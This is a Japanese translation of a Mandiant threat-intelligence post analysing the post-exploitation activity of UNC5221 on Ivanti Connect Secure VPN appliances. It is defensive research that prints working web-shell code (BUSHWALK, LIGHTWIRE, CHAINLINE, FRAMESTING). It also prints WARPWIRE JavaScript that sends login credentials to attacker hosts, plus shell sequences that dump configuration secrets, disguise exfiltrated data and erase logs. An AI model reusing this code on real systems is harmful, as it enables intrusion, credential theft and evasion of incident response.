コンテンツに移動
脅威インテリジェンス

最先端の脅威 - Part 2:Ivanti Connect Secure VPN ゼロデイ・エクスプロイトの調査

2024年1月31日
Mandiant

営業担当へのお問い合わせ

セキュリティについてのご相談はこちらからお問い合わせください。

お問い合わせ

※この投稿は米国時間 2024 年 1 月 31 日に、Google Cloud blog に投稿されたものの抄訳です。

2024年1月12日、Mandiantは、Ivanti Connect Secure VPN(CS、旧Pulse Secure)およびIvanti Policy Secure(PS)アプライアンスに影響を与える2つの影響力の大きいゼロデイ脆弱性、CVE-2023-46805およびCVE-2024-21887の詳細を示すブログ投稿を公開しました。2024年1月31日、IvantiはCSとPSデバイスに影響を与える2つの追加脆弱性、CVE-2024-21888とCVE-2024-21893を公表しました。

この脆弱性により、認証されていない脅威アクターは、アプライアンス上で任意のコマンドを昇格した権限で実行することが可能になります。既報の通り、Mandiant は、現在 UNC5221 として追跡されている中国関連のスパイ行為者と疑われる脅威行為者によって、2023 年 12 月 3 日からこれらの脆弱性がゼロデイで悪用されていることを確認しています。 

Mandiantは、UNC5221およびその他の未分類の脅威グループによる、2つの脆弱性の公開後の広範な悪用活動を確認しました。Mandiantは、勧告後の活動のかなりの部分が自動化された手法で実行されていると評価しています。

このブログでは、UNC5221やその他の脅威グループが、インシデントレスポンス活動全体を通じて、侵入後の活動中に採用した戦術、技術、手順(TTP)について詳しく説明します。また、UNC5221 が使用している新しいマルウェア ファミリや、以前に特定されたマルウェア ファミリに対する亜種についても詳述します。このブログ記事に記載されている活動には、1つまたは複数の関連グループが関連している可能性があることを認識しています。UNC5221以外のグループも、これらのツールの1つまたは複数を採用している可能性があります。

これらの観測は、Mandiantのインシデント対応業務、Ivantiとの協力、および当社のパートナーを通じて裏付けられています。Mandiantはまた、ネットワーク防御者のために、侵害の指標(IOC)、YARAルール、およびハードニングガイドを含む追加の推奨事項を提供しています。

注:Ivanti 社は、1月31日より第 1 弾のパッチをリリースし、今後数週間にわたり追加パッチを順次提供する予定です。Ivanti社では、パッチを待っているお客様には、緩和策を適用し、外部のIntegrity Checker Tool (ICT)を実行して悪用の証拠をチェックし、KBの記事に従って製品のアップデートを入手し続けることを推奨しています。 

エクスプロテーション後の活動アップデート

緩和策のバイパス

最近、BUSHWALKとして追跡されるカスタムウェブシェルの展開につながる緩和バイパス技術が確認されました。悪用に成功すると、2024年1月10日にIvantiが提供した初期の緩和策をバイパスすることになります。現時点では、Mandiantは、緩和策バイパス活動は高度に標的化された限定的なものであり、アドバイザリー後の大規模な悪用活動とは異なると評価しています。 

注:外部 ICT は、新しいウェブシェルの存在を検知することに成功しました。私たちは、BUSHWALK をデプロイした後、脅威アクターがその活動の痕跡をクリーンアップし、緩和策バイパス技術によってシステムをクリーンな状態に戻すのを観察しました。ICT はアプライアンスの現在の状態のスナップショットであり、脅威行為者がアプライアンスをクリーンな状態に戻した場合、脅威行為者の活動を必ずしも検出することはできません。さらに、パッチは緩和策バイパスに対処し、修正します。

このキャンペーンで観測された他のウェブシェルと同様に、BUSHWALKはPerlで記述され、正規のCSファイルであるquerymanifest.cgiに埋め込まれています。BUSHWALKは、脅威アクターにサーバーへのファイルの読み書き機能を提供します。

BUSHWALK はウェブリクエストのplatformパラメータが SafariiOS. の場合、悪意のある Perl 関数 validateVersionを実行します。BUSHWALKはBase64とRC4を使ってWebリクエストのcommandパラメータにある脅威行為者のペイロードをデコードし、復号化します。

sub validateVersion {
    my ($rawdata) = @_;
    if ($rawdata ne ''){
        $rawdata =~ s/ /+/g;
        my $param0 = MIME::Base64::decode($rawdata);
        my $key = substr($param0, 0, 32);
        $key = RC4("<REDACTED>", $key);
        my $data = substr($param0,32);
        $data = RC4($key, $data);
        my @param1 = split("@",$data);
        my @action = split("=",$param1[0]);
        if ($action[1] eq 'change') {
            my $changeData = (split("=",$param1[1]))[1];
            changeVersion($changeData, $key);
        }
        elsif ($action[1] eq 'update'){
            my $fname = (split("=",$param1[1]))[1];
            my $versionData = (split("#",$param1[2]))[1];
            updateVersion($fname, $versionData);
        }
        else {
            print CGI::header(-type=>"text/plain", -status=> '404 Not Found');
            print "error";
        }
        exit;
    }
    else{
        return;
    }
}

図1:BUSHWALK実行のエントリーポイント

復号化されたペイロードは、ウェブシェルがサーバーからファイルを読むべきか、サーバーにファイルを書き込むべきかを決定します。

復号化されたペイロードにchangeが含まれている場合、BUSHWALKはchangeData関数を呼び出し、侵害されたアプライアンスから任意のファイルを読み取ります。マルウェアはバッファからファイルパスを抽出します。その後、指定されたパスにあるファイルを開いて読み取り、提供されたキーを使用してRC4でファイル内容を暗号化します。

sub changeVersion
{
    my ($u_time,$key) = @_;
    my $o_fd = popen(*DUMP,  $u_time, "r");
    my $ts;
    print CGI::header();	
    while(<DUMP>) {
       $ts = $ts.$_;
    }
    $ts = RC4($key, $ts);
    my $tsc = MIME::Base64::encode_base64($ts);
    print $tsc;
    close(*DUMP);
}
図2:任意のファイルを読み込むchangeVersion関数

復号化されたペイロードにupdatが含まれている場合、BUSHWALKはupdateVersion関数を呼び出し、任意のファイルをサーバーに書き込みます。バッファからファイルパスとファイルに書き込むデータを抽出します。次に、この新しいファイルデータが Base64 復号化され、指定されたパスのファイルに書き込まれます。

sub updateVersion
{
    my ($fname, $strbuf) = @_;
    $strbuf = MIME::Base64::decode($strbuf);
    CORE::open(my $file, ">>",$fname) or return undef;
    syswrite($file, $strbuf);
    close($file);
    print CGI::header();
    print "over";
}
図3:任意のファイルを書き込むupdateVersion関数

ライトワイヤー変種

Mandiantは、VPNゲートウェイの正当なコンポーネントであるcompcheckresult.cgiに自身を挿入するLIGHTWIREウェブシェルの亜種を確認しました。

新しいサンプルは、最初のブログ投稿で説明したオリジナルのLIGHTWIREサンプルと同じGETパラメータを使用しています。Mandiantは、利用可能なウェブログ、未割り当ての領域、およびメモリイメージ内でこれらのパラメータを含むGETリクエストを検索することを推奨します。

/dana-na/auth/url_default/compcheckresult.cgi?comp=comp&compid=<obfuscat
ed command>
図4:LIGHTWIRE GETパラメータ

LIGHTWIREの新しいバージョンは、異なる難読化ルーチンを備えています。まず、文字列のスカラー変数を$useCompOnlyに代入。次に、Perlのtr 演算子を使って文字列を一文字ずつ変換します。その後、鍵がBase64復号化され、入力されたリクエストをRC4復号化するために使用されます。最後に、発行されたコマンドはevalを呼び出して実行されます。

my $useCompOnly = "<REDACTED>";
$useCompOnly =~ tr/<REDACTED>/<REDACTED>/;
eval{my $c=Crypt::RC4->new(decode_base64($useCompOnly));my 
$d=$c->RC4(decode_base64(CGI::param('compid')));eval $d;}or 
do{$Main::remedy1 = "Compatibility check: $@";}
図5:新たに確認されたLIGHTWIREの亜種

最初のブログ記事で紹介したオリジナルのLIGHTWIREサンプルには、より単純な難読化ルーチンが含まれています。これはRC4オブジェクトを初期化し、発行されたコマンドを復号化するために直ちにRC4オブジェクトを使用します。

eval{my $c=Crypt::RC4->new("<REDACTED>");my 
$d=$c->RC4(decode_base64(CGI::param('compid')));eval $d;
図6:オリジナルのLIGHTWIREサンプル

CHAINLINEウェブシェル

アプライアンスを最初に悪用した後、MandiantはCHAINLINEとして追跡しているカスタムWebシェルを活用するUNC5221を特定しました。CHAINLINEは、Ivanti Connect Secure Pythonパッケージに組み込まれたPython Webシェルバックドアで、任意のコマンド実行を可能にします。

CHAINLINEはCAV Pythonパッケージの以下のパスで確認:/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py。これは、WIREFIREウェブシェルをサポートするために変更された同じPythonパッケージです。

#
# Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved
#
import base64

from flask_restful import Resource, reqparse
from flask import request
import subprocess

RC4_KEY = "<REDACTED>"


def crypt(command: str):
    tmp = list(command)
    for i in range(len(tmp)):
        tmp[i] = chr(ord(tmp[i]) ^ ord(RC4_KEY[i % len(RC4_KEY)]))
    tmp = "".join(tmp)
    return tmp


class Health(Resource):
    def get(self):
        return {"message": "method not allowed"}, 201

    def post(self):
        parser = reqparse.RequestParser()
        parser.add_argument('stats', type=str)
        parser.add_argument('rates', type=str)
        args = parser.parse_args()
        command: str = args.stats
        command = 
crypt(base64.b64decode(command.encode(encoding="UTF-8")).decode
(encoding="UTF-8"))
        result = subprocess.getoutput(command)
        result = 
base64.b64encode(crypt(result).encode(encoding="UTF-8")).decode
(encoding="UTF-8")
        return {"message": 'ok', "stats": result}, 200
図7:health.pyのCHAINLINEウェブシェル

既存のファイルを修正するWIREFIREとは異なり、CHAINLINEはhealth.pyという新しいファイルを作成しますが、これはCAV Pythonパッケージの正当なファイル名ではありません。このファイル名や関連するコンパイルされたPythonキャッシュファイルの存在は、CHAINLINEの存在を示すかもしれません。

UNC5221は、RESTエンドポイント/api/v1/cav/client/healthでCHAINLINEのアクセスをサポートする新しいAPIリソースパスを登録しました。これは、悪意を持って作成されたHealthAPIリソースをインポートし、/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/__init__.py内のFLASK-RESTful Apiオブジェクトでadd_resource() クラスメソッドを呼び出すことで達成されました。

図8は、CHAINLINEをサポートするために変更された関連ファイルの抜粋です。

https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png

図8:CHAINLINEをサポートするように変更されたPython CAVパッケージ

FRAMESTINGウェブシェル

Mandiant は、FRAMESTING として追跡している追加のウェブシェルを特定しました。FRAMESTING は Ivanti Connect Secure Python パッケージに組み込まれた Python Web シェルで、任意のコマンド実行を可能にします。

def post(self):
    import zlib
    import simplejson as json
    try:
        dskey='<REDACTED>'
        dsid=request.cookies.get('DSID')
        data=None
        if dsid and len(dsid)>=64:
            data=dsid+'=='
        else:
            data = zlib.decompress(request.data)
            data=json.loads(data).get('data')
        if data:
            import base64
            from Cryptodome.Cipher import AES
            if dskey not in globals():globals()[dskey]={}
            globals()[dskey].pop('result',None)
            aes=AES.new(dskey.encode(), AES.MODE_ECB)
            result={'message':'','action':0}
            exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),
{'request':request,'cache':globals()[dskey]},locals())
            result=globals()[dskey].get('result',result)
            return result, 200
    except:
        pass

図9: FRAMESTINGのPOSTリクエストを処理するために変更されたcategory.py

FRAMESTINGはCAV Pythonパッケージの以下のパスで確認:/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py。これはWIREFIREとCHAINLINEのウェブシェルをサポートするために変更されたPythonパッケージであることに注意してください。

インストールされると、脅威者は REST エンドポイント /api/v1/cav/client/categoriesで FRAMESTING ウェブシェルに POST リクエストでアクセスできます。正規のcategoriesエンドポイントはGETリクエストしか受け付けないことに注意してください。

ウェブシェルは攻撃者からコマンドを受け取るのに二つの方法を使います。まず、現在の HTTP リクエストからDSIDという名前のクッキーの値に格納されたコマンドを取得しようとします。クッキーが存在しないか期待される長さでない場合、リクエストの POST データ内の zlibデータを解凍しようとします。最後に、FRAMESTINGは復号化されたPOSTデータをPythonのexec()文に渡して、追加のPythonコードを動的に実行します。

DSIDは、Ivanti Connect SecureアプライアンスがユーザーのVPNセッションを維持するために使用するクッキーの名前でもあることに注意してください。FRAMESTINGはネットワークトラフィックに紛れ込むために同じクッキー名を使用していると思われます。

ZIPLINE分析の更新

前回のブログ投稿以降、MandiantはZIPLINEパッシブバックドアに関する追加分析を完了しました。ZIPLINEは、コマンド&コントロール(C2)を確立するために使用されるカスタムプロトコルの認証を確保するために、広範な機能を利用しています。このセクションでは、ZIPLINEが活用する暗号、認証、データプロトコルについて取り上げます。

暗号技術

ZIPLINEはAES-128-CBCを使用して双方向でデータを暗号化します。対応する暗号化キーと復号キーは、サーバーから送信されたキーマテリアルから導き出され、マルウェアに埋め込まれたハードコードされたデータと結合されます。結合後、SHA1ハッシュアルゴリズムが使用され、20バイト長の暗号的に強力な配列が生成され、その最初の16バイトがAES-128キーとして使用されます。

攻撃者が受け取る鍵の素材は以下のように定義される:

typedef struct tag_key_material_t {
    uint8_t decryption_keydata[20];
    uint8_t encryption_keydata[20];
} key_material_t;
図10:主要要素の構造

その後、20バイト長のkeydataがハードコードされた文字列と組み合わされ、バッファ上でSHA1ハッシュが計算されます。 

SHA1ハッシュの最初の16バイトを切り詰めたものが、AES-128鍵とHMAC鍵の両方に使われます(HMACについては次のセクションで詳しく説明)。

復号化および暗号化処理のためのAES初期化ベクトル(IV)の開始値は、decryption_keydataおよびencryption_keydata配列の最初の16バイトです。 

一旦生成されると、復号鍵と暗号化ラウンド鍵(それぞれ11個のラウンド鍵、 インデックスゼロのオリジナルのAES-128鍵を含む)、およびAES-128アルゴリズ ムの現在のIVは、プロセスのライフサイクルの間、メモリに留まります。このため、鍵およびIVをプロセスのメモリから採取することが可能です。ZIPLINE で使用されるプロトコルはステートフルであるため、メッセージの復号化および認証の順番を間違えることはありません。さらに、パッシブバックドアを含むプロセスの寿命は比較的短く設計されており、処理されたコマンドのたびに終了し、侵害されたホスト上で実行されているマルウェアのエコシステムによってリスポーンされる可能性が高くなります。

認 証

ZIPLINEはSHA1ハッシュアルゴリズムとともにHMAC(Hash-based Message Authentication Code)を使用してデータの完全性を強制します。HMACキーは対応するAES-128キーと同じである(2つあることに注意:1つは復号化用、もう1つは暗号化用)。ZIPLINEのHMACデザインは、0から始まる現在のメッセージのインデックスを示す転送ステートを使用。受信または送信されたパケットごとにインデックスがインクリメントされ、その値が認証メカニズムの一部としてメッセージに付加されます。そのため、順番が狂ったメッセージは認証できず、C2サーバとの通信が終了してしまいます。

図11は、HMAC計算に参加する部分を色分けして示したメッセージの例。

https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png

図11:メッセージの例

図 11 では、32 バイト長のメッセージが C2 サーバから受信されています。次に ZIPLINE は最初の 16 バイト(青)を復号化し、まだ暗号化されているメッセージの 2 番目の部分(赤)を追加し、最後に 4 バイト(黒)を追加します。次に HMAC アルゴリズムは図 11 のバッファの SHA1 ハッシュを計算し、送受信されるメッセージの最後に付加される SHA1 ハッシュと比較します。

データ・プロトコル

ZIPLINEは、カスタムステートフルバイナリプロトコルを使用してC2サーバと通信を行います。通信は、C2サーバーが侵害されたホストに接続し、図12に示すような構造のメッセージを送信することから始まります。

typedef struct tag_header_t {
    char signature[21];
    struct tag_key_material key_material;
} header_t;
図 12: ZIPLINE ヘッダーの構造

署名はSSH-2.0-OpenSSH_0.3xxという文字列で、その後にAES-128とHMAC鍵生成用の データを含む構造体が続くと予想されます(「暗号化」を参照)。次に、C2は暗号化されたメッセージを送信する。暗号化されたメッセージは、復号化されると、図13に記述された構造に従います。

typedef struct tag_message_t {
    uint16_t len; /* big endian number */
    uint8_t data[len]; /* variable size data */
    uint8_t hmac_sig[20];
} message_t;
図 13: ZIPLINE メッセージの構造

メッセージ構造は柔軟に設計されていますが、このマルウェアのインスタンスは最初のメッセージに長さ0x10を指定することを期待しています。さらに、復号化後のデータは図14の通りでなければ、マルウェアは接続を終了します。

https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png

図14:復号化されたメッセージ構造

図14の復号化されたメッセージでは、サイズ(ビッグエンディアン数であることに注意) は最初の2バイト(青)で示され、その後に16バイトの配列(赤)が続きます。不一致の場合、ZIPLINE は接続を終了し、それはプロセスの終了にもつながります。黒で示されたxxバイトは非連続的なパディング値であり、yy 値(オレンジ)はメッセージのHMAC署名を指定します。

最初のメッセージが完全性チェックをパスすると、マルウェアはまず図14のバッファを暗号化し、それをC2サーバーに送り返します。このメッセージはmessage_t.lenが1に等しいと予想されます。このメッセージには(パディングとHMACシグネチャを除けば)意味のある1バイトが含まれており、これは実行されるコマンドのインデックスです。

 

Command ID

Operation

Description

1

File Upload

このコマンドには、ファイルのパスと、接続されているホストに送信する内容が含まれている

2

File Download

コマンドには、侵害されたシステムに保存されるファイルのパスとその内容が含まれる

3

Reverse Shell

bin/shを使用してリバースシェルを作成し、指定されたコマンドを実行する

4

Proxy Server

コマンドの一部として提供されたIPアドレスでプロキシサーバーを作成する

5

Tunneling Server

複数のエンドポイント間で同時にトラフィックをディスパッチできるトンネリングサーバーを実装する

表 1: ZIPLINE コマンド ID

メッセージは前のものと同じようにフォーマットされ、最初の3バイトだけが意味を持ちます(長さとコマンド)。

その他の調査結果

ZIPLINEはそれ自身を2回フォークし、子プロセスで継続するように設計されている。また、setsidコマンドを使用してプロセスの新しいセッションを作成し、制御端末を効果的に切り離す。さらに、このマルウェアは、現在の接続に関連付けられたハンドルを除いて、開いているハンドルを閉じる。マルウェアはalarmコマンドを2、3回(3秒遅れて)実行するため、webプロセスはSIGALRMシグナルを処理できなければならない。さらに、web プロセスは指定されたコマンドを実行した後、それ自体を終了します。これは、着信トラフィックをリッスンし続けるために、侵害されたホスト上の ZIPLINE マルウェアのエコシステムによってリスポーンされることを意味します。

WARPWIREのバリエーション

Mandiant は、私たちの対応業務や野放しになっている WARPWIRE の複数の新しい亜種を確認しました。これらの亜種の主な目的は、ハードコードされた C2 サーバーに平文のパスワードとユーザー名を流出させることです。

これらの亜種における主な変更点は、ハードコードされた C2 にどのように認証情報を送信するかです。特定された亜種の大部分では、GET リクエストは POST パラメータまたはボディのいずれかにクレデンシャルを送信する POST に置き換えられていますが、Mandiant は依然として GET リクエストを利用する亜種も特定し、window.location.hrefを送信値として含めるようになりました。 

特定された亜種数および関連する脆弱性の大量悪用の疑いから、Mandiant は現在のところ、すべての WARPWIRE 亜種を UNC5221 と断定していません。図 15-18 に、一部の WARPWIRE サンプルの抜粋を示します。

var ivanti = document.frmLogin.username.value;
var login = document.frmLogin.password.value;
var action = window.location.href;
if (ivanti!=="" && login!=="") {
    var ivanti = btoa(ivanti);
    var login = btoa(login);
    var action = btoa(action);
    const url = "https://duorhytm[.]fun/";
  var xhr = new XMLHttpRequest();
  xhr.open("POST", url, false);
  xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  var params ="ivanti="+ivanti +"&login="+ login+"&action="+action;
  xhr.send(params);
図15:WARPWIREのバリエーション
var a = document.frmLogin.username.value;
var b = document.frmLogin.password.value;
var c = window.location.href;

if (a !== "" && b !== "") {

var aEncoded = btoa(a);
    var bEncoded = btoa(b);
    var cEncoded = btoa(c);
    const url = "https://clicko[.]click/?a=" + aEncoded + "&b=" + bEncoded 
+ "&c=" + cEncoded;
    var xhr = new XMLHttpRequest();
    xhr.open("GET", url, false);
    xhr.send(null);
図16:WARPWIREのバリエーション
    var uParam = document.frmLogin.username.value;
    var pParam = document.frmLogin.password.value;
    if (uParam && pParam) {
        var xhr = new XMLHttpRequest();
        const url = `https://www.miltonhouse[.]nl/pub/opt/processor.php`
        const body = `h=${btoa(document.location.hostname)}&u
=${btoa(uParam)}&p=${btoa(pParam)}`;
        xhr.open('POST', url, true);
        xhr.setRequestHeader
('Content-type', 'application/x-www-form-urlencoded');
        xhr.send(body);
図17:WARPWIREのバリエーション
    var ivanti = document.frmLogin.username.value;
    var login = document.frmLogin.password.value;
    var action = window.location.href;
    if (ivanti!=="" && login!=="") {
        var ivanti = btoa(ivanti);
        var login = btoa(login);
        var action = btoa(action);
        const url = "https://cpanel.netbar[.]org/assets/js/xml.php";
      var xhr = new XMLHttpRequest();
      xhr.open("POST", url, false);
      xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      var params ="ivanti="+ivanti +"&login="+ login+"&action="+action;
      xhr.send(params);
    }
図18:WARPWIREのバリエーション

オープンソース・ツールの利用

インシデント対応活動を通じて、Mandiant は Ivanti CS アプライアンス上の侵入後の活動をサポートするために利用される複数のオープンソースツールを特定しました。これらのツールは、限られた被害者環境内での内部ネットワーク偵察、横移動、およびデータ流出に関連していました。

Tool Name 

Description

IMPACKET

IMPACKETは、様々なネットワーク・プロトコルとのインタラクションを可能にするPythonライブラリである。特にActive Directoryや関連するMicrosoft Windowsネットワークサービスに依存している環境で効果的です。

CRACKMAPEXEC

CRACKMAPEXECは、Microsoft Windows環境に対するポストエクスプロイトツールである。その横方向への移動能力に定評があります。

IODINE

IODINEはDNS上でIPv4トラフィックをトンネリングできるネットワークトラフィックトンネラーです。

ENUM4LINUX

ENUM4LINUXは、WindowsやSambaホストからデータを列挙するためのLinux Perlスクリプトです。

表 2:確認されたオープンソースツーリング

その他のTTP

コンフィギュレーションとキャッシュ盗難

Mandiant は、CS アプライアンスに内蔵されている dslsコマンドを使用して、CS アプライアンスを最初に悪用した後に、実行中のコンフィギュレーションとキャッシュをダンプしたことを示す証拠を確認しました。結果の出力は、ディレクトリ内のランダムに生成された 10 文字の CSS ファイルを装った tar アーカイブに保存されます:/home/webserver/htdocs/dana-na/css/。 

侵害されたアプライアンスで実行され、キャッシュとコンフィギュレーションをCSSディレクトリにダンプする以下の一連のコマンド(図19)を確認しました。

export LD_LIBRARY_PATH=/lib:/home/lib;
export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/home/bin;
echo ZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGVuY29kZSBhcyBlCmY
9b3BlbignL2hvbWUvYmluL2RzbHMnLCdyYicpCmM9Zi5yZWFkKC
kKZi5jbG9zZSgpCnA9Yy5maW5kKGJ5dGVzLmZyb21oZXgoJzhkY
mQ2MGZmZmZmZicpKQppZiBwPjA6CiBkPWJ5dGVhcnJheShjKQ
ogaWYgZFtwLTJdPT0weDc0OgogIGRbcC0yXT0weGViCiAgZj1vcG
VuKCcvdG1wL3Rvb2xzJywnd2InKQogIGYud3JpdGUoZCkKICBmL
mNsb3NlKCkKICBzPSdmJwogZWxzZToKICBzPSdpJwplbHNlOgo
gcz0nbicKcHJpbnQocyxlbmQ9Jycp
|base64 -d|/home/venv3/bin/python;
chmod +x /tmp/tools;
/tmp/tools -S -R -B /vc >/tmp/test1.txt;
rm -rf /tmp/tools;
touch /tmp/testt -r /home/webserver/htdocs/dana-na/css;
mount -o rw,remount /;
tar czf /home/webserver/htdocs/dana-na/css/<REDACTED>.css /tmp/test1.txt;
rm -rf /tmp/test1.txt;
図19:キャッシュとコンフィギュレーションをダンプするコマンドシーケンス

このコマンドシーケンスは、Base64エンコードされたPythonスクリプトを実行し、パッチが適用されたバージョンのdslsバイナリ(/home/bin/dsls)を/tmp/toolsに書き込みます。高度なレベルでは、パッチを適用したバイナリにより、dslsコマンドは通常冗長化される機密情報を表示できるようになります。図20にBase64デコードされたPythonスクリプトを示します。

from base64 import b64encode as e
f=open('/home/bin/dsls','rb')
c=f.read()
f.close()
p=c.find(bytes.fromhex('8dbd60ffffff'))
if p>0:
	d=bytearray(c)
	if d[p-2]==0x74:
  		d[p-2]=0xeb
		f=open('/tmp/tools','wb')
		f.write(d)
		f.close()
		s='f'
	 else:
	  s='i'
else:
 s='n'
print(s,end='')
図20:Base64デコードされたPythonスクリプト

このスクリプトは、/home/bin/dslsファイル内のバイトシーケンス 0x8dbd60ffffffを探します。これは、実行中の構成とキャッシュ情報を表示するために使用される、Ivanti Connect Secureアプライアンス上の正規の実行ファイルです。このバイト列が見つかった場合(p>0)、ファイルの内容(c)からバイト配列(d)を作成し、さらに変更します。

次にロジックは、見つかったバイト列(p-2)の2つ前のバイトが0x74に等しいかどうかをチェックします。それが0x74に等しい場合、そのバイトを0xebに置き換えます。最後に、スクリプトは変更されたバイト配列を/tmp/toolsに書き換えます。 

バイナリの修正により、条件付きJMP命令(0x74)が無条件JJMPMP(0xeb)に変更されます。このパッチは、機密データの冗長化を担当する正規のdslsバイナリのチェックをバイパスする実行フローを強制します。これにより、パッチを適用したバイナリは、通常<secure>で出力される冗長化されたフィールドの値を表示できるようになります。

コマンドシーケンスは次のように続く:

  1. /tmp/tools/home/bin/dslsのパッチ版)を実行し、コンフィギュレーションとキャッシュを/tmp/test1.txtにダンプする。
  2. /tmp/toolsを削除する。
  3. /home/webserver/htdocs/dana-na/css/の変更タイムスタンプとアクセスタイムスタンプで空のファイル/tmp/testtを作成する。これは後でCSSディレクトリを元のタイムスタンプでタイムストンプするために使用される。 
  4. ファイルシステムを読み書き可能に再マウントする。
  5. ダンプを/home/webserver/htdocs/dana-na/css/内のCSSファイルにアーカイブする。
  6. /tmp/test1.txtを削除する。

Mandiant は、脅威行為者によってサーバから設定とキャッシュダンプがダウンロードされた後、侵害の証拠を除去する努力を確認しました。図 21 のコマンドシーケンスは、CVE-2023-46805 および CVE-2024-21887 を悪用して発行されたものです。

rm -rf /home/webserver/htdocs/dana-na/css/<REDACTED>.css;
touch -r /tmp/testt /home/webserver/htdocs/dana-na/css;
rm -rf /tmp/testt;
echo > /data/var/dlogs/config_rest_server.log;
mount -o ro,remount/
図21:侵害の証拠を隠蔽するコマンド・シーケンス

コマンド・シーケンスは以下のようになる:

  1. ステージングされたコンフィギュレーションとキャッシュ・ダンプを削除する。
  2. CSSディレクトリを/tmp/testtの更新タイムスタンプとアクセスタイムスタンプでタイムストンプする。
  3. CVE-2023-46805およびCVE-2024-21887の悪用の試みを記録するconfig_rest_server.logファイルを消去する。
  4. ファイルシステムを読み取り専用モードで再マウントし、元の状態に戻す。

さらに、コンフィギュレーションとダンプが以下のパスにある圧縮ファイルに保存されていることを確認しました。

  • /runtime/webserver/htdocs/dana-na/help/logo.gif
  • /runtime/webserver/htdocs/dana-na/help/login.gif

Ivanti 社は、キャッシュとコンフィギュレーションのダンプに起因するリスクを修復するための追加ガイダンスを発表しました。これには、ローカルアカウントの認証情報のリセット、APIキーのリセット、証明書の失効などが含まれます。

CAVウェブサーバーのログ流出

Mandiantは、/runtime/webserver/htdocs/dana-na/help/logo.gifにステージされたCAVウェブサーバのログが流出した証拠を確認しました。このパスには合法的にogo.gifは含まれていません。

/usr/bin/printf 'GIF'>/home/webserver/htdocs/dana-na/help/logo.gif;
/usr/bin/printf 'GIF'>/home/webserver/htdocs/dana-na/help/logo.gif;
cat /data/var/dlogs/cav_webserv.log|/usr/bin/base64>>/home/
webserver/htdocs/dana-na/help/logo.gif
図22:CAVウェブサーバーのログを流出させるコマンドシーケンス

このコマンドは、GIFヘッダーをlogo.gifにリダイレクトし、/data/var/dlogs/cav_webserv.logのBase64エンコードされた内容を同じファイルに追加します。

cav_webserv.logには、CAV REST API の uWSGI が管理するウェブリクエストとログが含まれます。Mandiant は、関連する CAV Python パッケージに WIREFIRE、CHAINLINE、FRAMESTING などのウェブシェルが含まれるような複数の変更を確認しています。これらのウェブシェルへのリクエストはすべてこのファイルに記録されます。

ICT操作

システム内部の完全性チェックツールは、ファイルシステムに加えられた変更や追加を検知するのに役立ちます。Mandiantは、外部ICTが内部ICTに関連するPythonパッケージへの変更を検出した事例を特定しました:/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg。 

scanmgr.py のコメントアウトされた1行がスキャナーの実行を無効にしていることを確認しました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig23.max-1600x1600.png

図23:scanmgr.pyでコメントアウトされたスキャナーの実行

さらに、Volexity社は2024年1月18日に、侵害されたIvanti Connect Secureアプライアンスの内蔵整合性チェッカー・ツールを改ざんするために利用された別の方法について詳述したブログ投稿を発表しました。

Mandiantは、/home/etc/manifestにあるマニフェストファイルを変更することで、脅威行為者が内部ICTを改ざんしていることを確認しています。このファイルは、システム上で予想されるファイルのリストと、関連する SHA256 ハッシュを保持します。内部 ICT は、公開鍵を使用してマニフェスト・ファイルの署名を検証します。

場合によっては、脅威アクターがマニフェストファイルの新しいデジタル署名を作成できませんでした。これにより内部 ICT が失敗し、マニフェスト ファイルが不良であることを示すイベント ID SYS32042 がシステム イベント ログに生成されます。

完全性チェックツールに関連するイベントIDの全リストは表3のとおりです。

 

Event ID

概 要

SYS32039

内部整合性チェックツールで新しいファイルが見つかった

SYS32040

内部整合性チェックツールで変更されたファイルが見つかった

SYS32041

整合性チェックツールのマニフェストファイルがない

SYS32042

整合性チェックツールのマニフェストファイルが不正

SYS32087

ビルトインの完全性スキャンが開始された

SYS32088

ビルトインの完全性スキャンが完了した

表3:完全性チェックツールのイベントID

システムログの消去

場合によっては、脅威アクターは、システムログをクリアするために、/home/bin/logClear.plという正規のシステムユーティリティを使用しました。この方法でシステムログを消去すると、消去されたログの種類ごとに管理イベントログにイベント ID ADM20599 が生成されます。Ivanti Connect Secure アプライアンスでは、6 つのシステムログを使用できます。

Log Name

File Path

events

/runtime/logs/log.events.vc0

admin

/runtime/logs/log.admin.vc0

access

/runtime/logs/log.access.vc0

diagnosticlog

/runtime/logs/log.diagnosticlog.vc0

policytrace

/runtime/logs/log.policytrace.vc0

sensorslog

/runtime/logs/log.sensorslog.vc0

表4:システムログの説明

Mandiantは、イベントログ(log.events.vc0)のイベントID ADM20599を検索して、ログクリアの証拠を追跡することを推奨します。

アトリビューション(帰属)

Mandiantは、UNC5221が中国に関連するスパイ活動の脅威アクターであると中程度の確信を持って評価しています。Mandiantは、UNC5221が、情報公開の前後を問わず、中華人民共和国(PRC)が戦略的に関心を持つ幅広い業種を標的としていることを確認しており、初期の兆候として、ツールやインフラが、中国を拠点とするスパイ行為者と疑われる過去の侵入と重複していることを示しています。さらに、インシデント対応調査で特定された Linux ベースのツールには、複数の中国語版 Github リポジトリのコードが使用されています。前回のブログ記事で述べたように、UNC5221 は主に、中国を拠点とするスパイ行為者と思われる人物によるエッジインフラのゼロデイ悪用に関連する TTP を利用しています。

推奨事項

パッチの提供

Ivanti社は、Ivanti Connect Secureの特定バージョン向けのパッチの第一弾を2024年1月31日からリリースしています。残りのパッチは、複数のブランチとバージョンにまたがる3つの異なる製品に対して、時期をずらしてリリースされる予定です。

緩和策の適用

